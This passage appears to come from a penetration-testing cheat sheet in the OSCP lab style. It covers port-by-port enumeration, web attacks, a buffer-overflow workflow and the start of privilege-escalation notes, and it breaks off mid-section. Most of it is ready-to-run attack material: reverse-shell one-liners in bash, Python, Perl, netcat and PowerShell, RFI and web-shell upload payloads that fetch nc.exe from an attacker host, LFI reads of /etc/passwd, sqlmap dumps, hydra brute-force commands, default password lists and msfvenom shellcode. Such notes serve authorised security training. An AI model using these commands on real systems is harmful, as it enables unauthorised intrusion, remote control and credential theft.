| * [Powershell Run As](#powershell-run-as) 104 | * [Windows privesc/enum tools](#windows-privescenum-tools) 105 | * [Windows precompiled Scripts](#windows-precompiled-scripts) 106 | * [Loot](#loot) 107 | * [Linux](#linux-1) 108 | * [Proof](#proof) 109 | * [Network secret](#network-secret) 110 | * [Passwords and hashes](#passwords-and-hashes) 111 | * [Dualhomed](#dualhomed) 112 | * [Tcpdump](#tcpdump) 113 | * [Interesting files](#interesting-files) 114 | * [Databases](#databases) 115 | * [SSH-Keys](#ssh-keys-1) 116 | * [Browser](#browser) 117 | * [Mail](#mail) 118 | * [GUI](#gui) 119 | * [Windows](#windows-1) 120 | * [Proof](#proof-1) 121 | * [Passwords and hashes](#passwords-and-hashes-1) 122 | * [Dualhomed](#dualhomed-1) 123 | * [Tcpdump](#tcpdump-1) 124 | * [Interesting files](#interesting-files-1) 125 | 126 | # **Recon** 127 | 128 | ``` 129 | # Enumerate subnet 130 | nmap -sn 10.11.1.1/24 131 | 132 | # Fast simple scan 133 | nmap -sS 10.11.1.111 134 | 135 | # Full complete slow scan with output 136 | nmap -sT -sC -sV -A -T4 -p- -O -A -Pn --script vuln -oA full 10.11.1.111 137 | 138 | # Autorecon 139 | python3 autorecon.py 10.11.1.111 140 | 141 | # OneTwoPunch 142 | https://raw.githubusercontent.com/superkojiman/onetwopunch/master/onetwopunch.sh 143 | onetwopunch.sh ip.txt tcp 144 | 145 | # Scan for UDP 146 | nmap 10.11.1.111 -sU 147 | unicornscan -mU -v -I 10.11.1.111 148 | 149 | # Connect to udp if one is open 150 | nc -u 10.11.1.111 48772 151 | ``` 152 | - sparta 153 | - `python /root/Reconnoitre/Reconnoitre/reconnoitre.py -t 10.11.1.111 -o test --services` 154 | 155 | 156 | ## Enumeration AIO 157 | [Penetration Testing Methodology - 0DAYsecurity.com](http://0daysecurity.com/penetration-testing/enumeration.html) 158 | 159 | ## Port 21 - FTP 160 | 161 | ``` 162 | nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.11.1.111 163 | ``` 164 | 165 | ## Port 22 - SSH 166 | 167 | - If you have usernames test login with username:username 168 | - Vulnerable Versions: 7.2p1 169 | 170 | ``` 171 | nc 10.11.1.111 22 172 | ``` 173 | 174 | ## Port 25 - Telnet 175 | 176 | 177 | ``` 178 | nc -nvv 10.11.1.111 25 179 | HELO foo 180 | 181 | telnet 10.11.1.111 25 182 | VRFY root 183 | 184 | nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111 185 | smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111 186 | ``` 187 | 188 | ## Port 69 - UDP - TFTP 189 | 190 | This is used for tftp-server. 191 | 192 | - Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more. 193 | - Checks of FTP Port 21. 194 | 195 | ``` 196 | nmap -p69 --script=tftp-enum.nse 10.11.1.111 197 | ``` 198 | 199 | ## Kerberos - 88 200 | 201 | - MS14-068 202 | - GetUserSPNs 203 | 204 | ## Port 110 - Pop3 205 | 206 | ``` 207 | telnet 10.11.1.111 208 | USER pelle@10.11.1.111 209 | PASS admin 210 | 211 | or: 212 | 213 | USER pelle 214 | PASS admin 215 | 216 | # List all emails 217 | list 218 | 219 | # Retrieve email number 5, for example 220 | retr 9 221 | ``` 222 | 223 | ## Port 111 - Rpcbind 224 | 225 | ``` 226 | rpcinfo -p 10.11.1.111 227 | rpcclient -U "" 10.11.1.111 228 | srvinfo 229 | enumdomusers 230 | getdompwinfo 231 | querydominfo 232 | netshareenum 233 | netshareenumall 234 | ``` 235 | 236 | 237 | ## Port 135 - MSRPC 238 | 239 | Some versions are vulnerable. 240 | 241 | ``` 242 | nmap 10.11.1.111 --script=msrpc-enum 243 | msf > use exploit/windows/dcerpc/ms03_026_dcom 244 | ``` 245 | 246 | ## Port 139/445 - SMB 247 | 248 | 249 | ``` 250 | nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111 251 | 252 | nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111 253 | 254 | enum4linux -a 10.11.1.111 255 | 256 | rpcclient -U "" 10.11.1.111 257 | srvinfo 258 | enumdomusers 259 | getdompwinfo 260 | querydominfo 261 | netshareenum 262 | netshareenumall 263 | 264 | smbclient -L 10.11.1.111 265 | smbclient //10.11.1.111/tmp 266 | smbclient \\\\10.11.1.111\\ipc$ -U john 267 | smbclient //10.11.1.111/ipc$ -U john 268 | 269 | winexe -U username //10.11.1.111 "cmd.exe" --system 270 | 271 | smbtree 10.11.1.111 272 | 273 | nmblookup -A target 274 | 275 | smbmap -u victim -p s3cr3t -H 10.11.1.111 276 | 277 | dentro de \Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml está el usuario y la contraseña que se puede desencriptar con "gpp-decrypt " 278 | ``` 279 | 280 | 281 | ## Port 161/162 UDP - SNMP 282 | 283 | ``` 284 | nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111 285 | snmp-check 10.11.1.111 -c public|private|community 286 | 287 | ``` 288 | 289 | ## LDAP - 389,636 290 | 291 | ``` 292 | ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com" 293 | ``` 294 | 295 | ## HTTPS - 443 296 | 297 | Read the actual SSL CERT to: 298 | 299 | - find out potential correct vhost to GET 300 | - is the clock skewed 301 | - any names that could be usernames for bruteforce/guessing. 302 | 303 | ``` 304 | sslscan 10.11.1.111:443 305 | ./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html 306 | nmap -sV --script=ssl-heartbleed 192.168.101.8 307 | mod_ssl,OpenSSL version Openfuck 308 | ``` 309 | 310 | ## 500 - ISAKMP IKE 311 | 312 | ``` 313 | ike-scan 10.11.1.111 314 | ``` 315 | 316 | ## Port 554 - RTSP 317 | 318 | - Web interface, transfer images, streaming 319 | 320 | 321 | ## Port 1030/1032/1033/1038 322 | 323 | Used by RPC to connect in domain network. 324 | 325 | ## MSSQL - 1433 326 | 327 | ``` 328 | nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111 329 | use auxiliary/scanner/mssql/mssql_ping 330 | use auxiliary/scanner/mssql/mssql_login 331 | use exploit/windows/mssql/mssql_payload 332 | sqsh -S 10.11.1.111 -U sa 333 | xp_cmdshell 'date' 334 | go 335 | 336 | ``` 337 | 338 | ## Port 1521 - Oracle 339 | 340 | ``` 341 | oscanner -s 10.11.1.111 -P 1521 342 | tnscmd10g version -h 10.11.1.111 343 | tnscmd10g status -h 10.11.1.111 344 | nmap -p 1521 -A 10.11.1.111 345 | nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute 346 | MSF: good modules under auxiliary/admin/oracle and scanner/oracle 347 | 348 | ./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521 349 | ./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521 350 | ./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE 351 | 352 | Upload reverse shell with ODAT: 353 | ./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe 354 | 355 | and run it: 356 | ./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe 357 | 358 | 359 | ``` 360 | 361 | ## Port 2049 - NFS 362 | 363 | ``` 364 | showmount -e 10.11.1.111 365 | 366 | If you find anything you can mount it like this: 367 | 368 | mount 10.11.1.111:/ /tmp/NFS 369 | mount -t 10.11.1.111:/ /tmp/NFS 370 | ``` 371 | 372 | ## Port 2100 - Oracle XML DB 373 | 374 | ``` 375 | FTP: 376 | sys:sys 377 | scott:tiger 378 | ``` 379 | 380 | Default passwords 381 | https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm 382 | 383 | 384 | ## 3306 - MySQL 385 | 386 | ``` 387 | nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306 388 | 389 | mysql --host=10.11.1.111 -u root -p 390 | 391 | MYSQL UDF 392 | https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/ 393 | ``` 394 | 395 | ## Port 3339 - Oracle web interface 396 | 397 | 398 | - Basic info about web service (apache, nginx, IIS) 399 | 400 | ## RDP - 3389 401 | 402 | ``` 403 | nmap -p 3389 --script=rdp-vuln-ms12-020.nse 404 | rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111 405 | rdesktop -u guest -p guest 10.11.1.111 -g 94% 406 | ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111 407 | ``` 408 | 409 | ## WinRM - 5985 410 | 411 | ``` 412 | https://github.com/Hackplayers/evil-winrm 413 | ./evil-winrm.rb -i 10.11.1.111 -u Administrator -p 'password1' 414 | ``` 415 | 416 | 417 | 418 | ## VNC - 5900 419 | 420 | ``` 421 | nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111 422 | ``` 423 | 424 | ## Webdav 425 | 426 | ``` 427 | davtest -cleanup -url http://target 428 | cadaver http://target 429 | ``` 430 | 431 | ## Unknown ports 432 | 433 | - `amap -d 10.11.1.111 8000` 434 | - netcat: makes connections to ports. Can echo strings or give shells: `nc -nv 10.11.1.111 110` 435 | - sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations 436 | - Try zone transfer for subdomains: `dig axfr @10.11.1.111 hostname.box`, `dnsenum 10.11.1.111`, `dnsrecon -d domain.com -t axfr` 437 | 438 | Try admin:admin, user:user 439 | 440 | ## Port 80 - Web server 441 | 442 | - Basics: 443 | - Navigate && robots.txt 444 | - Headers 445 | - Source Code 446 | 447 | ``` 448 | # Nikto 449 | nikto -h http://10.11.1.111 450 | 451 | # Nikto with squid proxy 452 | nikto -h 10.11.1.111 -useproxy http://10.11.1.111:4444 453 | 454 | # CMS Explorer 455 | cms-explorer -url http://10.11.1.111 -type [Drupal, WordPress, Joomla, Mambo] 456 | 457 | # WPScan (vp = Vulnerable Plugins, vt = Vulnerable Themes, u = Users) 458 | wpscan --url http://10.11.1.111 459 | wpscan --url http://10.11.1.111 --enumerate vp 460 | wpscan --url http://10.11.1.111 --enumerate vt 461 | wpscan --url http://10.11.1.111 --enumerate u 462 | 463 | # Joomscan 464 | joomscan -u http://10.11.1.111 465 | joomscan -u http://10.11.1.111 --enumerate-components 466 | 467 | # Get header 468 | curl -i 10.11.1.111 469 | 470 | # Get options 471 | curl -i -X OPTIONS 10.11.1.111 472 | 473 | # With PUT option enabled: 474 | 475 | nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php' 476 | 477 | curl -v -X PUT -d '' http://192.168.1.124/test/cmd.php 478 | && http://192.168.1.124/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.110%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27 479 | 480 | # Get everything 481 | curl -i -L 10.11.1.111 482 | curl -i -H "User-Agent:Mozilla/4.0" http://10.11.1.111:8080 483 | 484 | # Check for title and all links 485 | curl 10.11.1.111 -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//' 486 | 487 | # Look at page with just text 488 | curl 10.11.1.111 -s -L | html2text -width '99' | uniq 489 | 490 | # Check if it is possible to upload 491 | curl -v -X OPTIONS http://10.11.1.111/ 492 | curl -v -X PUT -d '' http://10.11.1.111/test/shell.php 493 | 494 | # Simple curl POST request with login data 495 | curl -X POST http://10.11.1.11/centreon/api/index.php?action=authenticate -d 'username=centreon&password=wall' 496 | 497 | dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix 498 | 499 | ``` 500 | 501 | ### Url brute force 502 | 503 | ``` 504 | # Dirb not recursive 505 | dirb http://10.11.1.111 -r -o dirb-10.11.1.111.txt 506 | 507 | # Wfuzz 508 | wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.11.1.8/FUZZ 509 | 510 | # GoBuster 511 | gobuster dir -u http://10.11.1.111 -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e 512 | gobuster dir -e -u http://10.11.1.111/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 513 | gobuster dir -u http://$10.11.1.111 -w /usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt 514 | gobuster dir -e -u http://10.11.1.111/ -w /usr/share/wordlists/dirb/common.txt 515 | 516 | dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix 517 | 518 | ./dirsearch.py -u 10.10.10.157 -e php 519 | 520 | medusa -h 10.11.1.111 -u admin -P wordlist.txt -M http -m DIR:/test -T 10 521 | ``` 522 | 523 | 524 | ### Default/Weak login 525 | 526 | Search documentation for default passwords and test them 527 | 528 | ``` 529 | site:webapplication.com password 530 | ``` 531 | 532 | ``` 533 | admin admin 534 | admin password 535 | admin 536 | admin 537 | root root 538 | root admin 539 | root password 540 | root 541 | password 542 | admin 543 | username 544 | username 545 | ``` 546 | 547 | 548 | ### LFI/RFI 549 | 550 | 551 | ``` 552 | fimap -u "http://10.11.1.111/example.php?test=" 553 | 554 | # Ordered output 555 | curl -s http://10.11.1.111/gallery.php?page=/etc/passwd 556 | /root/Tools/Kadimus/kadimus -u http://10.11.1.111/example.php?page= 557 | 558 | http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php 559 | http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00 or ? 560 | ?page=php://filter/convert.base64-encode/resource=../config.php 561 | ../../../../../boot.ini 562 | 563 | amap -d 10.11.1.111 8000 564 | 565 | # LFI Windows 566 | http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00 567 | 568 | # Contaminating log files 569 | root@kali:~# nc -v 10.11.1.111 80 570 | 10.11.1.111: inverse host lookup failed: Unknown host 571 | (UNKNOWN) [10.11.1.111] 80 (http) open 572 | 573 | 574 | http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig 575 | 576 | # RFI: 577 | http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00 578 | Content of evil.txt: 579 | 580 | 581 | # PHP Filter: 582 | http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config 583 | 584 | # RFI over SMB (Windows) 585 | cat php_cmd.php 586 | 587 | - Start SMB Server in attacker machine and put evil script 588 | - Access it via browser (2 request attack): 589 | - http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" 590 | - http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234 591 | 592 | ``` 593 | 594 | 595 | 596 | ### SQL-Injection 597 | 598 | ``` 599 | # References 600 | https://www.exploit-db.com/papers/17934 601 | https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/ 602 | 603 | # Post 604 | ./sqlmap.py -r search-test.txt -p tfUPass 605 | 606 | # Get 607 | sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql 608 | 609 | # Crawl 610 | sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3 611 | 612 | # Full auto - THE GOOD ONE 613 | sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch 614 | # Columns 615 | sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin 616 | # Values 617 | sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin 618 | 619 | sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords 620 | ``` 621 | ### XSS 622 | ``` 623 | 624 | ``` 625 | 626 | ### Sql-login-bypass 627 | 628 | - Open Burp-suite 629 | - Make and intercept a request 630 | - Send to intruder 631 | - Cluster attack. 632 | - Paste in sqlibypass-list (https://bobloblaw.gitbooks.io/security/content/sql-injections.html) 633 | - Attack 634 | - Check for response length variation 635 | 636 | ### Bypass image upload restrictions 637 | 638 | ``` 639 | - Change extension: .pHp3 or pHp3.jpg 640 | - Modify mimetype: Content-type: image/jpeg 641 | - Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg 642 | - Add gif header: GIF89a; 643 | - All at the same time. 644 | ``` 645 | 646 | ## Password brute force - last resort 647 | 648 | Offline local resources 649 | 650 | ``` 651 | cewl 652 | hash-identifier 653 | john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt 654 | medusa -h 10.11.1.111 -u admin -P password-file.txt -M http -m DIR:/admin -T 10 655 | ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.111 656 | crowbar -b rdp -s 10.11.1.111/32 -u victim -C /root/words.txt -n 1 657 | hydra -l root -P password-file.txt 10.11.1.111 ssh 658 | hydra -P password-file.txt -v 10.11.1.111 snmp 659 | hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 ftp -V 660 | hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 pop3 -V 661 | hydra -P /usr/share/wordlistsnmap.lst 10.11.1.111 smtp -V 662 | 663 | # SIMPLE LOGIN GET 664 | hydra -L cewl_fin_50.txt -P cewl_fin_50.txt 10.11.1.111 http-get-form "/~login:username=^USER^&password=^PASS^&Login=Login:Unauthorized" -V 665 | 666 | # GET FORM with HTTPS 667 | hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.11.1.111 -s 443 -S https-get-form "/index.php:login=^USER^&password=^PASS^:Incorrect login/password\!" 668 | 669 | # SIMPLE LOGIN POST 670 | hydra -l root@localhost -P cewl 10.11.1.111 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=-120&User=^USER^&Password=^PASS^:F=Login failed" -I 671 | 672 | # API REST LOGIN POST 673 | hydra -l admin -P /usr/share/wordlists/wfuzz/others/common_pass.txt -V -s 80 10.11.1.111 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials" -t 64 674 | 675 | 676 | ``` 677 | 678 | Online crackers 679 | 680 | ``` 681 | https://hashkiller.co.uk/Cracker 682 | https://www.cmd5.org/ 683 | https://www.onlinehashcrack.com/ 684 | https://gpuhash.me/ 685 | https://crackstation.net/ 686 | https://crack.sh/ 687 | https://hash.help/ 688 | https://passwordrecovery.io/ 689 | http://cracker.offensive-security.com/ 690 | ``` 691 | 692 | # **Vulnerability analysis** 693 | 694 | ## BOF 695 | 696 | ``` 697 | # BASIC GUIDE 698 | 1. Send "A"*1024 699 | 2. Replace "A" with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH 700 | 3. When crash "!mona findmsp" (E10.11.1.111 offset) or ""/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q TEXT" or "!mona pattern_offset eip" 701 | 4. Confirm the location with "B" and "C" 702 | 5. Check for badchars instead CCCC (ESP): 703 | badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") 704 | with script _badchars.py and 705 | "!mona compare -a esp -f C:\Users\IEUser\Desktop\badchar_test.bin" 706 | 5.1 AWESOME WAY TO CHECK BADCHARS (https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/): 707 | a. !mona config -set workingfolder c:\logs\%p 708 | b. !mona bytearray -b "\x00\x0d" 709 | c. Copiar de c:\logs\%p\bytearray.txt al script y ejecutar de nuevo 710 | d. !mona compare -f C:\logs\%p\bytearray.bin -a 02F238D0 (ESP address) 711 | e. In " data", before unicode chars it shows badchars. 712 | 6. Find JMP ESP with "!mona modules" or "!mona jmp -r esp" or "!mona jmp -r esp -cpb '\x00\x0a\x0d'" find one with security modules "FALSE" 713 | 714 | 6.1 Then, "!mona find -s "\xff\xe4" -m PROGRAM/DLL-FALSE" 715 | 6.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \x8f\x35\x4a\x5f 716 | 717 | 718 | 7. Generate shellcode and place it: 719 | msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4433 -f python –e x86/shikata_ga_nai -b "\x00" 720 | 721 | msfvenom -p windows/shell_reverse_tcp lhost=10.11.1.111 lport=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python -v shellcode 722 | 723 | 8. Final buffer like: 724 | buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode 725 | 726 | 727 | ``` 728 | 729 | 730 | 731 | ``` 732 | ################ sample 1 ################################################ 733 | #!/usr/bin/python 734 | 735 | import socket,sys 736 | 737 | if len(sys.argv) != 3: 738 | print("usage: python fuzzer.py 10.11.1.111 PORT") 739 | exit(1) 740 | 741 | payload = "A" * 1000 742 | 743 | ipAddress = sys.argv[1] 744 | port = int(sys.argv[2]) 745 | 746 | try: 747 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 748 | s.connect((ipAddress, port)) 749 | s.recv(1024) 750 | print "Sending payload" 751 | s.send(payload) 752 | print "Done" 753 | s.close() 754 | except: 755 | print "Error" 756 | sys.exit(0) 757 | 758 | ################ sample 2 ################################################ 759 | #!/usr/bin/python 760 | import time, struct, sys 761 | import socket as so 762 | 763 | try: 764 | server = sys.argv[1] 765 | port = 5555 766 | except IndexError: 767 | print "[+] Usage %s host" % sys.argv[0] 768 | sys.exit() 769 | 770 | req1 = "AUTH " + "\x41"*1072 771 | s = so.socket(so.AF_INET, so.SOCK_STREAM) 772 | try: 773 | s.connect((server, port)) 774 | print repr(s.recv(1024)) 775 | s.send(req1) 776 | print repr(s.recv(1024)) 777 | except: 778 | print "[!] connection refused, check debugger" 779 | s.close() 780 | ``` 781 | 782 | 783 | 784 | ## Find xploits - Searchsploit and google 785 | 786 | Where there are many exploits for a software, use google. It will automatically sort it by popularity. 787 | 788 | ```bash 789 | site:exploit-db.com apache 2.4.7 790 | 791 | # Remove dos-exploits 792 | 793 | searchsploit Apache 2.4.7 | grep -v '/dos/' 794 | searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat" 795 | 796 | # Only search the title (exclude the path), add the -t 797 | searchsploit -t Apache | grep -v '/dos/' 798 | ``` 799 | 800 | ## Reverse Shells 801 | 802 | ```bash 803 | # Linux 804 | bash -i >& /dev/tcp/10.11.1.111/4443 0>&1 805 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.1.111 4443 >/tmp/f 806 | nc -e /bin/sh 10.11.1.111 4443 807 | 808 | # Python 809 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.1.111",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 810 | 811 | __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1\ 812 | 813 | # Perl 814 | perl -e 'use Socket;$i="10.11.1.111";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 815 | 816 | # Windows 817 | nc -e cmd.exe 10.11.1.111 4443 818 | powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 819 | 820 | # PHP most simple Linux 821 | $sock, 1=>$sock, 2=>$sock), $pipes);?> 822 | ``` 823 | 824 | # **Privilege escalation** 825 | 826 | ## Common 827 | 828 | ### Set up Webserver 829 | 830 | ``` 831 | python -m SimpleHTTPServer 8080 832 | ``` 833 | 834 | ### Set up FTP Server 835 | 836 | ``` 837 | # Install pyftpdlib 838 | pip install pyftpdlib 839 | 840 | # Run (-w flag allows anonymous write access) 841 | python -m pyftpdlib -p 21 -w 842 | ``` 843 | 844 | ### Set up TFTP 845 | 846 | ```` 847 | # In Kali 848 | atftpd --daemon --port 69 /tftp 849 | 850 | # In reverse Windows 851 | tftp -i 10.11.1.111 GET nc.exe 852 | nc.exe -e cmd.exe 10.11.1.111 4444 853 | 854 | http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=nc.exe%20-e%20cmd.exe%2010.11.0.105%204444 855 | ```` 856 | 857 | ## Linux 858 | 859 | Now we start the whole enumeration-process over gain. 860 | 861 | - Kernel exploits 862 | - Programs running as root 863 | - Installed software 864 | - Weak/reused/plaintext passwords 865 | - Inside service 866 | - Suid misconfiguration 867 | - World writable scripts invoked by root 868 | - Unmounted filesystems 869 | - Look in /var/backups 870 | - Look in /etc/fstab y en mount 871 | 872 | Less likely 873 | 874 | - Private ssh keys 875 | - Bad path configuration 876 | - Cronjobs 877 | 878 | ### Useful commands 879 | 880 | ``` 881 | # Spawning shell 882 | python -c 'import pty; pty.spawn("/bin/bash")' 883 | python -c 'import pty; pty.spawn("/bin/sh")' 884 | V 885 | Ctrl+Z 886 | stty raw -echo 887 | fg 888 | reset 889 | Ctrl+Z 890 | stty size 891 | stty -rows 48 -columns 120 892 | fg 893 | 894 | echo os.system('/bin/bash') 895 | /bin/sh -i 896 | perl -e 'exec "/bin/sh";' 897 | perl: exec "/bin/sh"; 898 | ruby: exec "/bin/sh" 899 | lua: os.execute('/bin/sh') 900 | (From within vi) 901 | :!bash 902 | :set shell=/bin/bash:shell 903 | (From within nmap) 904 | !sh 905 | 906 | # Access to more binaries 907 | export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 908 | 909 | # Set up webserver 910 | 